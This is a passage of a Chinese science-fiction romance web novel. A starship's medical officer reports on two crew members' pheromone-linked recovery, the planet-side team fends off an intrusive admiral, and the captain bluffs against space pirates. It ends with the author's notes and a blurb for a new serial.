裴简珩失笑：“怎么听起来你还有点遗憾。” 赫尔无辜：“我可没这意思啊。” 他一边说, 一边手也没闲着，拿着检查仪就开始对闻铮扫来扫去检查内伤、激素等指标。一分钟后, 他手里的悬浮面板出现了闻铮的身体数值，赫尔扫了一眼, 下一秒眼睛都瞪大了。 啊？？？ 枯木逢春老树开花啊？？？ 赫尔差点以为医疗检查仪坏了，重启了三次又去扫描, 得到的结果一模一样。 原本已经几乎干涸，甚至在透支生命的腺体和激素, 突然就宛如久旱逢甘露一般被滋养了, 让这个几近枯萎的Omega竟然重新焕发出了一丝生机！ 艾尔文医疗官似乎想到了什么, 立刻转而去扫描裴简珩的身体指标, 得到的数值也让他差点心悸。 这么正常的Alpha激素和信息素指标, 居然也会出现在裴简珩身上啊！ 赫尔最后看了又看眼前的两块悬浮面板，深吸一口气, 差点喜极而泣。 这不会是医疗官临死之前面对斯洛克犟驴的最终幻想吧？！ 闻铮看着行为有些怪异的赫尔，忍不住伸手在他面前晃了晃：“……没事吧？” 赫尔回过神来, 轻咳两声，非常单刀直入：“你们两位发生什么了？” 闻铮：“……” 裴简珩：“……” 在沉默过后，先开口的是闻铮。 他知道，自己的身体状况瞒谁都瞒不过医疗官，尤其赫尔还很清楚他的真实性别，隐瞒也没有意义。 “我们，”闻铮把话在嘴里绕了一圈, “……互相调节了一下信息素和激素水平。” 这句话在医疗官的耳朵里被自动转译成——我俩睡了。 赫尔差点鼓掌，一次性解决两大犟种病患，他简直要现场放礼炮。出于职业素养和艾尔文人精致假人感的人设，他勉强控制住了相对外放的情绪，轻咳一声：“很明智的举动，非常明智。” 被表扬的舰长和舵手：“……” 但接下来要怎么聊，赫尔犹豫了一下。 看出了好友的犹豫，裴简珩出声解救他：“没关系，你可以直接说，我和闻哥互相都知道了对方的身体状况。” 赫尔这才松了口气。 医疗官先把有着闻铮身体数据的悬浮屏放大：“闻，在此之前你的腺体和激素真的已经到了危悬一线的地步，哪怕我给你偷偷用一些管制药物，你也最多还有2到3个月的时间。” 听到这句话，闻铮没有什么反应，裴简珩却猛地抬头，难以置信地看向他：“什么——？！” 三个月？！ 如果他们今天没有因为意外又睡到了一起呢？ 如果闻铮就这样一直当做什么都没有发生过，一直这样独自隐瞒扛下去呢？ 三个月以后，他是不是会真的、永远地……失去他？ “——但是，但是！” 赫尔看到了裴简珩的失魂落魄，连忙把后半句接上：“从他现在的数据来看，身体的各项指标都显著向好，并且好得吓人！如果你能保持这样的身体状态，十年不是问题。” “足够了。” “只有十年？！” 两个声音同时响起，让赫尔一瞬间不知道该回答哪一个。 裴简珩从没有这么着急过，急到直接从医疗椅上站起来、恨不得冲上去摇晃闻铮的肩膀：“闻哥！你在说什么？只有十年，只有十年了！” “我知道。”比起他的反应，闻铮显得平静到有些冷漠，“我想做的事，十年足够了。” “不够！”这是裴简珩第一次在闻铮面前失态，他那双湛蓝色的眼睛从底部开始泛红，宛如蓝宝石中一道道裂开的血纹，“您——十年怎么够？您得长久地活下去，您——” “我们在战争中，裴简珩。” 闻铮平静地打断了他：“热战结束了，但我们仍然处于战争状态。并且你和我都知道，新的战役即将到来。在这样的时代背景下，只要战争没有彻底结束，就没有人可以长久地活下去。” 裴简珩被他的话堵的一时失语，他平淡的语气和无所谓的态度，好像在被讨论的人并不是他自己一样。 “……你俩能先听我把话说完吗？” 赫尔在旁边看他俩一言一语的，嘴巴张了又合合了又张，砸吧了半天，一句话都插不进去。 裴简珩还要张嘴再说什么，被闻铮抬手制止住，指挥官转向了赫尔：“请说。” 艾尔文医疗官这才有机会道：“十年是我预估的最坏情况，人类的身体是很复杂的，如果你们能继续调节彼此的信息素和激素作用，这种治愈能力是指数型增长的，现在是十年，说不定一年以后再看，就变成了三十年，尤其是对你们两个来说。” 闻铮听到这里，微微扬眉：“尤其是对我们来说？” 赫尔把话头在嘴里转了一圈，这才斟酌着说出口：“闻，你的身体情况你自己也清楚。假如你的身体需要至少60单位的Alpha信息素才能维持正常的生命体征，按照你现在只有3%的腺体倒推计算，这个Alpha释放的信息素需要在2000单位以上，但目前就算是等级最高的S+级Alpha，单次释放的信息素也只有500单位，对你来说远远不够。” 医疗官把裴简珩的数据看板调了出来：“而裴简珩，他单次释放的信息素最高可以达到5000单位，只有他才能支持你病理上的需求。” 5000？！ 这个数字一出来，闻铮确实是瞠目结舌！ 目前联邦最高等级的Alpha是艾德莱斯五星上将，也就是说，裴简珩的身体机能是艾德莱斯五星上将的2.62倍，信息素水平是他的10倍？！ 这是一个太恐怖、太恐怖的数字了！ “但另一个方面来看，”赫尔又继续说，“因为他的信息素和体能已经到了可怕的地步，所以没有任何一个Omega能承受的住，除非这个Omega的腺体可以自行分解掉多余的信息素。” ……就像自己一样。 闻铮恍然，任何一个健康的Omega，能够接受的Alpha信息素最多也就600单位，超过600就会对其产生永久的不可逆转的神经性创伤，但如果是自己，就绝对不会发生这种问题。 ……一个是信息素过高的Alpha，一个是会自行分解掉多余信息素的Omega，这种亿万分之一的概率，居然能被他俩碰上…… “而且，闻，你虽然腺体有异，但由于腺体摘除的手术过于粗糙，信息素并没有受到影响。信息素水平依然还在，腺体却只剩下3%，这也是你的身体会受到这么大损伤的原因，你的信息素没有地方可以宣泄出去，只能憋在身体里团团转。” “而现在，你的信息素既有口子出去，又可以在某种程度上反向调节裴简珩的基因序列。” 闻铮一时无言，赫尔手里拿着两块悬浮屏，欲言又止：“与其说你们是双赢，我更愿意说是——” 顿了下，赫尔轻轻翘起唇角：“——天作之合。” 闻铮：“……” 闻铮“蹭”的一下站起来，在一瞬间的失态后又恢复了佯装平静的表情：“知道了，还有什么别的事吗？没有的话，我要先去舰桥了。” 赫尔摇头：“一周后再来检查就好，记得一定要持续’调节信息素’啊！别给我半途而废！这是医嘱！” 闻指挥官几乎是落荒而逃。 赫尔有些好笑地摇摇头，瞥见裴简珩也要往外走，忙道：“裴简珩，你等一下。” 裴简珩顿住脚步，脸色不太好：“还有什么事吗？” 赫尔把悬浮屏全都划拉到一边，双手环胸地看着他：“作为朋友，我想知道你到底是怎么想的？你曾经和我说过你有一个爱了很久的人，你靠着对他的执念和不能言说的回忆捱过了最痛苦的时光，但现在你又和闻不清不楚地搞到了一起。” “你到底打算——” “他就是。” 裴简珩打断了他，他的话也让赫尔有一瞬间的迷惑。 那双湛蓝色的眼睛移向了赫尔，眼底是坚定又耀眼的光：“闻哥就是我暗恋了很久的人，这么多年来，都是他。” “……” 赫尔哑然，显然正在信息加载中，半晌才问：“那你父亲呢？他知道吗？” “知不知道都没什么关系，”裴简珩道，“是他亲手把这颗皎月从污泥中挖了出来，又擦亮成最耀眼夺目的宝石。这个世界上不会有人比他更清楚，闻哥到底是个怎样的人。” “既然如此，”赫尔叹了口气，“有一件事你得知道。” 裴简珩疑惑地看向他。 “闻的腺体只剩下了3%，能遇到你这样的特例Alpha已经是亿万分之一的概率，”赫尔沉默了一下，方才道：“他的身体承载不起最终标记，也永久丧失了生育能力。” 裴简珩轻声道：“……我不在乎，我只想让闻哥健健康康地活下去。” “我知道，我只是让你做好心理准备。” 赫尔看向他的眼神多了几分怜悯和惆怅：“你是一个超S级的Alpha，你对自己Omega伴侣的情感需求会比其他Alpha多得多，但你可能永远也无法最终标记你的Omega，所以你永远也无法真正地拥有他。” “你对他的爱越深，不安全感就会越多，患得患失会如影随形，直到把你吞噬殆尽。” 赫尔犹豫了一下，还是拍了拍他的肩膀：“裴简珩，你要先想清楚。” “我早在很多年前就想清楚了，”裴简珩的声音很轻，但却坚决的掷地有声，连一秒钟的犹豫都没有，“我连闻哥是Alpha都爱他，更不要提这些了。” “多谢你的着想，”裴简珩笑了一下，眼底却没有丝毫笑意，只有决绝又固执的光，“但不管如何，我只爱他，我绝不会放手。” “除非我死。” …… 闻铮去舰桥指挥室看了一下，凯利斯看到他囫囵个儿地出现后，着实是大大松了一口气。 闻指挥官拍了拍自己大副的肩膀：“不用担心我，我们目前的情况怎么样？” 凯利斯也正色答道：“魁斗星盗的船已经离开了，目前我们正在驶向最近的联邦辖区，只要路途中不出现意外，预计10个小时后会到达副3星系。” 闻铮点点头，让凯利斯去休息一下，舰桥这边他来值班。 凯利斯摇头：“闻哥，你先去休息吧，哪怕小睡几个小时也好。” 闻铮板起脸：“这是命令，第一大副。” 凯利斯：“……” 又来这套！ “放心，”闻铮又放柔了声音，“我现在的身体状况很好，赫尔检查过后都放我返岗了，你别担心。” 凯利斯这才稍稍放下心来。 在凯利斯离开后，闻铮环视了一圈空荡荡的舰桥，轻轻叹了口气。 在发生了这么多事情以后，他需要自己安静地独处，来梳理思绪。反正在哪里梳理都一样，还不如让凯利斯去休息一下。 闻铮坐在中心舰长椅上，望着眼前一望无际的黑暗宇宙，一时之间竟然也不知从何思量起。 德瓦人、蓟梨草、艾尼默人、魁斗星盗、还有…… ……裴简珩—— 作者有话说：有奖竞猜小裴的爹是谁，之前有过伏笔哟[熊猫头] ———————— 另外，俺新开了一个预收坑，和本篇是同一个世界观设定！ 如果可以的话，能不能球球感兴趣的大家莅临专栏点个预收藏，让它去你们的收藏夹里排队吃灰呀（不是[可怜][可怜] 以下是文案： 《我不是天才战神吗？》 001 宁以青从混沌中醒来，稀里糊涂地发现自己好像正身处什么竞赛赛场上。 对手的神色睥睨嘲讽，手里的操作台繁琐陌生。 他沉默半晌后，按下了公开广播通讯：“……这东西怎么用？” 02 星舰军校又有新笑料了。 指挥学院那个出了名的漂亮蠢货Omega，又蠢又菜，白长了一张和三百年前联邦传奇战神宁以青极为肖似的脸，平时门门成绩吊车尾，这次更是让人叹为观止。 要知道这场比赛可是邀请到了联邦第一上将顾衍之莅临，所有学员都卯足了劲要好好表现，希望能得他一眼高看，奠定未来的光辉仕途！ 结果……他开场第一句居然是问星舰操作台怎么用，丢尽了指挥学院的脸。 院长脸色阴沉黑如锅底，顾衍之眼神晦暗一言不发。 所有人看着Omega在操作台上胡乱摸索，啊了一声：“原来在这儿。” ……然后他按下自毁程序，把星舰模拟舱炸了。 连他自己都是顾衍之上将亲自从废墟里扒拉出来的。 03 院长大发雷霆：“你到底是怎么想的？！” 刚重生过来的宁以青睁着一双澄澈的眼睛，无辜回望：“我怎么知道三百年后科技发展已经到这个地步了啊……” 到底谁允许你们把曾经的启动按钮换成自毁装置的？ 顾衍之却打断了这场训诫，众目睽睽之下，他钳住这个漂亮Omega纤细的手腕就把他扯出了赛场，硬生生拽到了偏僻无人的楼梯间。 04 楼梯间发生了什么无人知晓，只知道第二天，这个连星舰启动按钮都不知道在哪里的Omega，就这么被请上了联邦第一上将的“银刃号”，从此被奉为座上宾。 有人猜他不知廉耻地用自己的身体和脸蛋引诱了顾衍之，让这个一贯冰冷无情的第一上将简直是发了狠忘了情，不知联邦制度为何物了！ 而那个楼梯间发生的一切也被传得越发旖旎不堪，香艳透骨。 但任谁也想不到，在黑暗逼仄的狭小空间里，顾衍之单膝跪地，虔诚地从宁以青的指尖吻到被自己握出来的红痕，低声呢喃：“您终于……回来了。” 宁以青叹了口气，俯身挑起了他的下颔，神色复杂地看了半天那张深邃俊美的脸，方才道：“三百年了，衍之，你怎么还没死啊。” 05. 纤薄锋利的Omega披上统帅的军装，踏过一地鲜血和荆棘，敌军尸横遍野，星盗心悦诚服，已知宇宙内所有物种真正的和平已经由他奠定，而他正带着联邦的火种和文明，将旗帜插往向更远更深的宇宙之中。 直至此时，联邦才知晓，三百年前牺牲陨落的神明，早已在爱人的鲜血献祭下，重回王座，再续传奇。 第75章 各取所需 他们追着德瓦人的势力从7号星到特安斯特-B中转星, 又到了这里，结果在临门一脚的时候被魁斗星盗把线索搞没了，所有人证均已死亡, 只剩下蓟梨草被他们趁机抢了回来。 那接下来呢？ 接下来他们要从哪里再继续挖背后的线索？ 这帮冷血的黑皮怪物到底要蓟梨草干什么？ 而且, 蓟梨草本就是生长在7号星随处可见的野草，是德瓦人用刚刚在逃生舰上的这批野草又做了什么实验吗？为什么会对他的信息素刺激如此之大…… 即使闻铮围绕着正事想了一圈, 等正事想完，最后还是不得不又绕回到裴简珩身上了。 光是想到这个名字, 闻铮就已经开始头痛了。 他一年前和这个Alpha上|床的时候，真的只是随机找了一个合眼缘的……好吧, 也许有点莫名其妙的熟悉感，但也就当是露水情缘。 怎么也没想到在他们在之后会有如此深刻的纠葛, 而冥冥之中, 居然他们两个会如此的……适配且仅适配对方, 这让他滋生了一点由于情况不受控而带来的焦虑感。 并且坦白说, 他对裴简珩的观感也很复杂。 一方面, 他确实非常认可这位Alpha作为下属的能力与人品，甚至愿意和他进一步成为像林瑜淞或凯利斯一般托付生死的朋友；但另一方面, 即使他再怎么假装，他还是无法否认那一晚的存在, 以及……裴简珩作为Alpha对他的性|吸引力。 一年前和刚刚发生的事情，他大可以都推给信息素或外力刺激，但特安斯特高塔的那一晚呢？ 硬要说的话，那晚的耳鬓厮磨和唇|舌|交|融，也可以说是受到了酒精的影响，但……骗骗别人就算了，欺骗自己又有什么意义。 闻铮承认, 裴简珩是个优秀到万中无一的Alpha，无论是外在条件还是人格秉性。闻铮同样也承认，他对自己确实有一种吸引力。 只是这种吸引力有多少是来源于信息素的牵引，有多少是来自于已经有过肌肤|之|亲的下意识影响，还剩下多少，才是两个灵魂之间真正的契合？ 裴简珩知道了他的秘密，也将自己的秘密告诉了他，这种交换式的坦诚确实让闻铮得到了部分安全感。虽然他知道裴简珩没有对他和盘托出，那又如何，他同样也没有让裴简珩知道所有的秘密。 既然已经是各取所需，那不妨更进一步。 也据此，闻铮提出了那个提议。 不需要任何互相的承诺，也不需要任何的责任，一切以调节彼此的信息素和身体状况为出发点，基于已有的朋友关系上衍生出的……地下|肉|体|关系。 至于是否会有其他东西在这种关系之中滋生…… 裴简珩……应该不会。 闻铮依稀记得他在刚入职的时候提过一嘴，他有一个暗恋了很久的人。 那闻铮会吗？ 他也不敢万分的肯定，但哪怕真的有了，也没关系，他可以控制住自己，反正无情地对待自己是他最擅长的事情。 人工智能的声音倏地在舰桥内响起，打断了闻铮的思路整理。 “外来物质状况改变通知，已通过危险物扫描测试。” ——是蓟梨草。 哪怕破晓号只是一艘小型外遣追击星舰，也依然隶属于联邦军部，所以需要符合星际舰队的规范——所有外来物质都需要先进行危险物安全检查才允许从外侧甲板进入内侧。 闻铮想了想，点开通讯频道：“黎晓，你对植物生物学了解多少？” 黎晓的声音幽幽地传来：“在星舰军校的时候学过两门基础概念，满分100只考了65。” ……也是，就算是物理小天才也不能要求人家啥都会。 闻铮沉吟了一下，又问：“赫尔，你对植物生物学又了解多少？” 艾尔文医疗官接通线路回答：“肯定不如动物生物学，但也还凑合吧，怎么了？” “人工智能，请将外来物资相位穿梭到医疗舱封闭室。”闻铮扬声道，随后又对赫尔说，“十分钟后，我们封闭室见。” …… “这是什么东西？” 赫尔看着眼前这一大堆草，眉头紧皱。 “我来介绍一下，”作为7号星土生非土长的居民，闻铮开口介绍道，“这是蓟梨草，洛河星系7号星上独有的一种野草，不知道为什么，德瓦人一直在暗中收集它们，甚至要带回德瓦母星。” “蓟梨草的花瓣都是蓝色，但花蕊有两种，一种是白色，更为常见，一种则是紫色。” 赫尔顺着闻铮的话向这些蓟梨草看去，都是紫色花蕊，看来不知为何，德瓦人只要这种紫色的。 “在7号星的时候，我们发现德瓦人通过艾尼默人作为分销渠道售卖非法致幻剂，这些致幻剂里就添加了蓟梨草和B-356物质。” 赫尔听到某个名词之后，眉心一动：“我听说过B-356，是德瓦母星特有的物质，添加进非法致幻剂里做什么？” “7号星的鉴证首席检验过，这些非法致幻剂里面的蓟梨草和B-356物质剂量不尽相同，似乎是在用人类进行某些实验。”闻铮把何首席的检验的结论分享给赫尔，“我们追踪到这些人要把蓟梨草运回德瓦母星，这才跟踪到这里。” 闻铮三言两语就把事情解释清楚了，赫尔也轻轻颔首：“那你现在需要我做什么？你们的鉴证科首席如果都查不出什么来，那我也够呛，毕竟我是医生，不是生物学家。” 闻铮坦然道：“我也不知道，但你是目前这艘船上唯一一个懂植物生物学的人，所以就尽你所能吧。” 赫尔：“……” 辞职报告哪里写？ “哦对了，”闻铮补充了一句，“刚刚在逃生舰上，装有蓟梨草的真空装置打开过，之后我的腺体就开始剧烈疼痛和发烫，随后陷入了发|情|期，不知道是否和他们用蓟梨草的用途有关系。” 赫尔“哦~”了一声，眼神里浮现了一丝八卦，被闻铮有意忽视：“所以我建议你穿着全套防护服在封闭室里进行研究，我觉得它对于人类、尤其是Alpha和Omega都有很大的刺激性，对其他种族的影响目前还未可知。” ……怪不得，这艘星舰上唯一一个非人类种族就是自己了。 星际舰队的多样性种族原则看来还是有必要性基础的。 赫尔想了想十万的月薪，觉得这工作倒是也还能再干一干。 闻铮在离开之前又补充了一句：“在此之前，除了你以外，其他人都不能直接接触蓟梨草，尤其是黎晓。” 赫尔示意自己明白了，明白之余又有点好笑。 这船上一共就这么几个人，职场狗血剧情要不得啊。 闻铮最后扫了一眼那堆小野草，又想起了7号星上的三个成员，心里一空，也不知道他们最近怎么样了。 …… 暗影组的代理指挥官江悦，最近真的有点无语，她严重怀疑自己好像又遇到了职场骚|扰，但说出去别人又不会相信。 “中午好。” 长相阴柔俊美的上将靠在暗影组门口和她打招呼：“昨天我已经把共进午餐的邀约发给你了，但我看你还没有回应，所以我干脆来主动找你了。” 江悦一看到他就头痛，硬着头皮假笑：“哈哈，不好意思，我还没来得及看工作通讯。今天中午啊，稍等我看下我的工作日程——” “我已经替你看过了，前后都没有会议或外勤安排。”段洄笑眯眯，“看来我们可以安安心心吃点好的了，你说呢，江指挥官？” 江悦没辙了。 她用眼神向戴维尔和林瑜淞求助，前者木讷地看回来，显然没理解她什么意思。后者倒是聪明，连忙不急不慢地起身：“江指挥官，下午有个线索需要跟进，但我请了个病假，所以看你这边能不能——” “能！”江悦立马眼睛一亮，“瑜淞哥，你不舒服就好好休息，这个外勤我替你出！” “外勤？” 段洄的语调七拐八弯的：“是要调查和德瓦人相关的线索么？介不介意我一起去呢？” 江悦：“……” 林瑜淞：“……” 戴维尔：“？” 林瑜淞撤回一条消息：“我刚看了一下，我的主治医生今天没排班，我明天再请病假好了，下午这个外勤我去就可以了。” 江悦有些虚弱：“……好。” 开玩笑，和段洄一起出外勤，还不如捏着鼻子吃顿饭呢。 林瑜淞同情地看了一眼江悦，摊摊手表示自己也努力了，按照段洄现在这架势，跑得了和尚也跑不了庙啊。 暗影组是闻突然出现以后才又一手重新组建起来的，而警部和军部几乎所有人都知道，这背后是闻指挥官和利切尔副局长做的一场利益交换。也因此，虽说暗影组独立于警部和军部之外，但大家都默认，他们是站在更偏警部立场上的。 而自从段洄这个军部上将来了以后，军部和警部的关系就变得非常微妙，段上将和利切尔副局长之间的刀光剑影腥风血雨也不再是秘密，谁都知道，联合管理就是一句空话，斗到最后只能剩下一个人独掌大权。 段洄是首都星来的，背后势力深不可测。 而利切尔又在7号星做了几十年的副局长，身上也有一定的军功傍身，这两个人斗得可真称得上你死我活。 在这种敏感时期，段洄没事就往暗影组跑，释放给其他人的信息就非常微妙了—— 作者有话说：小剧场： 赫尔：请给卑职一个明示（拱手） 第76章 好东西 众所周知, 闻指挥官是利切尔副局长的人，可是这个强势的控制狂指挥官出外勤这么久，现在暂代暗影组的江悦, 也会继续是利切尔的人吗？ 还是说, 她会为了把“代”字去掉而向军方倒戈呢？ 再加上，原本所有人都以为那个脑子最好使的阴郁眼镜男会成为代理指挥官, 结果却落在了一个艾尼默人手上，林瑜淞会不会出于不甘而和段洄勾结呢？ 哇, 好精彩。 一时之间，暗影组不知道吸引了多少眼光在身上, 让他们的工作一时之间都有点难以开展。 江悦无意让暗影组陷入这些政|治斗争和揣测里，她只想把闻哥交给她的工作好好办完, 但实在是禁不住段洄这种“倒贴”行为, 根本不给她拒绝的机会。 从邀约喝咖啡到邀约共进午餐, 江悦光是想一些借口拒绝都想得头发大把大把掉, 连“我家的猫得了厌食症”这种荒谬的理由都说得出来, 以至于戴维尔都要吐槽，你一只鹿养什么猫。 这次可倒好, 直接追到暗影组来了。 甚至已经有一些风言风语，说这个新来的上将似乎正在追求暗影组的代理指挥官, 让江悦气得怄火。 凭什么只要有一个位高权重的男性Alpha出现，其他人就要自动变成附庸？她现在的一切都是闻哥给她的机会，也是她自己努力挣来的，凭什么要这样被转移到段洄头上？ 每每想到这儿，江悦就气得脸色铁青。但职级差距摆在那里，她也对段洄没什么办法，只能先这么水来土挡地敷衍着。 但……其实她很清楚, 像段洄这样工于心计的政|治|家，绝对是抱有目的前来，什么追求自己的流言蜚语，荒谬！ 他的目的到底是什么？！ “你在走神，不喜欢这家餐厅吗？” 段洄出声提醒眼前的艾尼默人，她双眼放空，很明显魂儿都不在这里。 “哦哦，不好意思，”江悦把思绪拉回来，勉强笑笑，“我有点缺乏睡眠，容易跑神。” “你太拼了，”段洄笑盈盈地给她夹菜，眼底还有着虚伪的关切，“这么努力，是为了要证明自己对得起这个位置和这个头衔吗？” 江悦：“……” 她把目光移到段洄脸上，拧起眉毛：“不好意思，您刚刚说什么？” 段洄却没有再重复，只是笑着说：“我知道你听见了。” “哪怕是对于上将来说，这句话也很冒犯了。”江悦放下餐具，冷冷道，“事到如今，我们不如也都打开天窗说亮话。段上将，您到底想从我这里得到什么？” “说什么呢，”段洄又把话题绕开了，“我哪儿有什么目的，我只是很好奇，你们这位闻指挥官到底有什么能耐，能说服利切尔花这么大力气帮他打点好，再把暗影组重新组建起来。” “您问错人了。”江悦道，“我是加入这里最晚的人，您所好奇的事情我都不知道。” 顿了一下，她牙尖嘴利地反问：“您为什么不直接去问利切尔副局长呢？” 段洄笑容一滞，第一次真正把这个清秀的艾尼默人看进眼里，原来不是一只清纯天真的小鹿呀，也是蛮有棱角的嘛。 有意思。 江悦擦了擦嘴角：“段上将，我还有公事要忙，您慢慢吃，账单我来结。” 段洄倒是也没抢着买单，若有所思地看着江悦的背影，真正开始觉得事情变得有趣了起来。 …… 破晓号的空间迁跃动力所剩不多，闻铮看了一下裴简珩计算的方案，他们现在还在中立区，保留空间迁跃动力和二锂池能源水平非常有必要，所以他决定先不进入空间迁跃模式，等待2个小时后到达最近的联邦辖区，副3星系。 在过去的几个小时里，破晓号上的这么几个人互相轮班休息了一下，虽然精神还是有点紧绷，但状态都好了很多。 比如闻铮，他终于深度睡眠了三个小时，感觉连大脑都清醒了不少。 裴简珩也重新坐回到了舵手的位置上，他的体能本来就优于常人，简单休息一下就好。 闻铮轻声问：“还有多久脱离中立区？” 裴简珩瞟了一眼面板：“1个小时43分钟。” 闻铮嗯了一声，过了一会儿又说：“等到了副3星，我们把动力和能源都补充完整，直接设定路线回7号星。” 凯利斯一怔：“这就回去了？” 闻铮看向他的金色后脑勺，似笑非笑：“怎么，没飞够？” “难得的机会嘛，”凯利斯笑，“确实还没怎么飞够，不过闻哥，我们收集到的信息已经足够了吗？” “坦白说，还不够。” 闻铮垂下漆黑如鸦羽的眼睫，轻声说：“但目前所有的线索基本都已经断了，只剩下这些还在实验中的蓟梨草。所以留给我们的路只有一条，就是带着它们回7号星，希望何首席可以给我们一点方向。” 凯利斯想了想，确实也是这样。 什么线索都没有，他们还能再干嘛？能囫囵个儿地回去已经很不错了。 这时，闻铮注意到裴简珩的肢体语言倏地改变，他从椅子上坐得很直，整个人都很紧绷地看着眼前的仪表盘，右手快速地操作着。 这种改变让闻铮心里一紧：“怎么了？” 裴简珩声音有些紧绷：“我检测到有一个量子数据飞快地朝我们靠近，这个读数也是一艘星舰——” 闻铮神色一冷：“凯利斯，防护罩打开100%。” “防护罩已打开！” 下一秒，一艘巨大的星舰蓦地出现在了所有人眼前！ 鳞次栉比的钢铁外形，宛如心脏一般的诡异形状……是那艘魁斗星盗的星舰！ 它怎么会又出现在这里？！ 而此刻已经没有其他的星舰了，唯一的可能就是……它是奔着破晓号而来的。 闻铮眉头微沉，左手死死地攥紧了舰长椅的扶手。 不妙…… 凯利斯沉声：“对方的武器系统已经锁定了我们。” 他扭头看向闻铮：“闻哥，他们正在申请和我们进行视频通讯。” 闻铮右手食指轻轻点了几下扶手：“接通。” 话音刚落，舰桥最前面那块主屏幕上就出现了通讯视频画面，一个皮肤棕黑，浅银色眼睛的高大魁斗女人正睥睨着他们。 “联邦星舰……还是军用的，让我看看你们有什么好东西？” 闻铮抬起眼睫，冷然回望：“联邦暗影组外遣追击舰，我是暗影组的指挥官闻，请问阁下是？” 魁斗女人是这波魁斗星盗的首领，她饶有兴趣地凑近：“没听过这个组织，你是星际联邦军部的？” 闻铮也没过多解释，只是简单阐述：“魁斗人和星际联邦一向井水不犯河水，何况我们只是经过中立区，无意引起争端。” “井水不犯河水……我承认，但那是魁斗人。”魁斗星盗首领裂开嘴，笑得肆意狂妄，“但我们是魁斗星盗，我只认钱！” “你们这艘小船，我三枚光子鱼雷打过去，你们就连渣都不剩，而这样的鱼雷，我有十二颗。”她俨然成竹在胸，完全没把这艘小型追击舰放在眼里，“我慷慨地给你们一次机会，向我证明留你们一命的价值。就从你开始吧，闻指挥官。” 最后四个字从她唇齿里被嚼烂着吐出来，着实令人有种被侮辱轻视之感，就连一贯吊儿郎当的凯利斯，表情都瞬间变得难看起来，闻铮脸上却毫无波澜。 裴简珩心里也是一沉，他知道目前这艘船上根本没有任何可以打动得了这帮贪婪之辈的东西。二十万现金早就被他们拿到手了，只剩下那些蓟梨草……对他们来说根本就是一堆野草，毫无价值可言！ 在这种情况下，闻哥要拿什么和他们交换？ “可以。” 出乎所有人意料，闻铮却平静地接受了这个威胁和轻视意味十足的“交易”：“我们有你们想不到的好东西。” 星盗首领挑起了一半的眉毛：“哦？如果骗我，我就把你们都扔进γ-3星里。” γ-3是离他们目前位置最近的一颗行星，地表温度高达4900摄氏度，任何生命都无法生存。 “我们船上有一种植物，可以最大化人体的身体机能，”闻铮面不改色，“它能让人类在短时间内强化至原本机能的4-8倍，更不要说魁斗人这种战斗种族了。” “哈！”星盗首领大笑出声，“你编谎话的能力实在是太差劲了，如果有这种东西，联邦早就把德瓦帝国揍趴下了！” 闻铮笑了，在那双漆黑如宇宙深处的眼瞳深处，燃起了一丝讥讽的冷峻之火：“那你不妨大胆地猜测一番，三年前的卡斯洛克之战，联邦是如何打败十倍数量的德瓦战舰的？” 魁斗星盗首领：“……” 她的嘲讽笑声戛然而止，狐疑之心窦起。 卡斯洛克之战是一场宛如神迹降临的反击战，所有种族的人都知道，面对着十倍数量的德瓦战舰，以悬空号为首的第三军团绝地翻盘！ 而这背后的原因，至今都无人知晓。 难道……真的是因为这种植物？ 理智告诉魁斗女人，这只是一个听都没听过的联邦小部门，怎么可能掌握这么机密的联邦情报；而心底又有一个声音在蠢蠢欲动——如果真的是呢？如果真的是自己运气足够好呢？ 她都不敢想，德瓦人会出多少钱买这个东西！！ 有了这笔钱，她再也不用带着自己的船员在中立区流浪打劫，冒这种有去无回的险了！ 反正这个小东西的战斗力和自己是天壤之别，不如就赌一把！ 如果这个漂亮瘦削的“指挥官”敢骗自己，魁斗女人冷笑着舔过后槽牙，她就把他的皮一寸一寸地剥下来，钉在自己的休息室墙上当一副血淋淋又漂亮的装饰画。 闻铮见她仍然还有一些疑虑，淡淡道：“……裴简珩。”—— 作者有话说：感谢_Truamtru、珍白雪w、34402499的营养液！掉落钢铁之心模型x1！ 接下来开始激烈的突突突突突———（？ 第77章 既然你对我感兴趣 即使他们一句话、一个眼神都没有对过, 在这个瞬间，裴简珩却清清楚楚地明白了闻铮的打算。 他伸手抓住了仪表盘上方的一盏照明灯，在星盗首领的眼前把那个极为坚硬的材料握成了碎屑。 闻铮几不可见地轻轻吁了口气, 不知为何, 他知道裴简珩一定会明白他的言外之意，也许在他自己都没意识的时候, 他已经给予了这个年轻Alpha过多的信任了。 “……好吧，我感兴趣了。”星盗首领眯起眼, 懒洋洋地往后倒在舰长椅上，“把你们的防护罩降下来, 安全码给我，我要把这批东西相位穿梭到我的船上。” “它们现在不在相位穿梭准备间。”闻铮道, “我会让人在五分钟内把它们挪过去。” “等你五分钟, 你最好不要给我耍花样。”魁斗女人最后警告了一遍, 率先结束了通讯。 闻铮立刻站了起来, 即使在这种危急关头, 他的语调依然沉稳冷静。 “赫尔，把蓟梨草挪到相位穿梭准备间。” “凯利斯, 所有武器调到发射舱。” “黎晓，立刻将所有动力供给空间迁跃核, 目标地设为最近的星系。” 赫尔的声音从广播中传来：“闻，你真的要把蓟梨草给他们吗？我还没有研究明白，如果你给了他们，就没办法带回去继续研究了！” “我知道，不会给他们的，但如果相位穿梭间什么都没有，他们扫描的时候会发现异样。”闻铮又问, “黎晓，动力转换完成了吗？” “已完成。”黎晓答。 “好。如果你手动操作，在他们相位穿梭结束以前切断信号的可能性有多大？” 黎晓：“……啊？！” 闻铮追问：“实话实说，有多大？” 黎晓估摸了一下：“……25%吧……闻哥你要干嘛……” “够了，就这么干。”闻铮挑了挑唇角，“我知道你能做到。” 黎晓：“……” Omega深呼吸，这种信任让他压力倍增，而心底深处又有一个角落燃起了被托付重任的火苗。 闻铮又进行了一番战略部署，时间距离五分钟还剩三十秒。 “——诸位，别担心，我们能做到。” 裴简珩微微转头，看到了闻铮的侧脸，那张脸上的皮肤紧紧贴着骨头，一丝多余的脂肪都没有，让他此刻看起来像一柄脱去外鞘的利刃，危险又慑人。 五分钟一到，魁斗星盗迫不及待地又再次呼叫了破晓号。 闻铮接通通讯，星盗首领的上半身又出现在了大屏上，她咧开嘴，魁斗人标志性的尖牙露了出来，像一只鲨鱼准备掠食：“准备好了吗，闻指挥官？” 凯利斯看着面板，低声汇报：“闻哥，他们在扫描我们的船。” 每艘星舰上都会配备扫描仪，可以扫描其他星舰的生命体和内部构造等，不过一般这种行为都很冒犯，基本等同于你刚和别人见面，对方上来就先对你进行一番毫不客气的搜身。 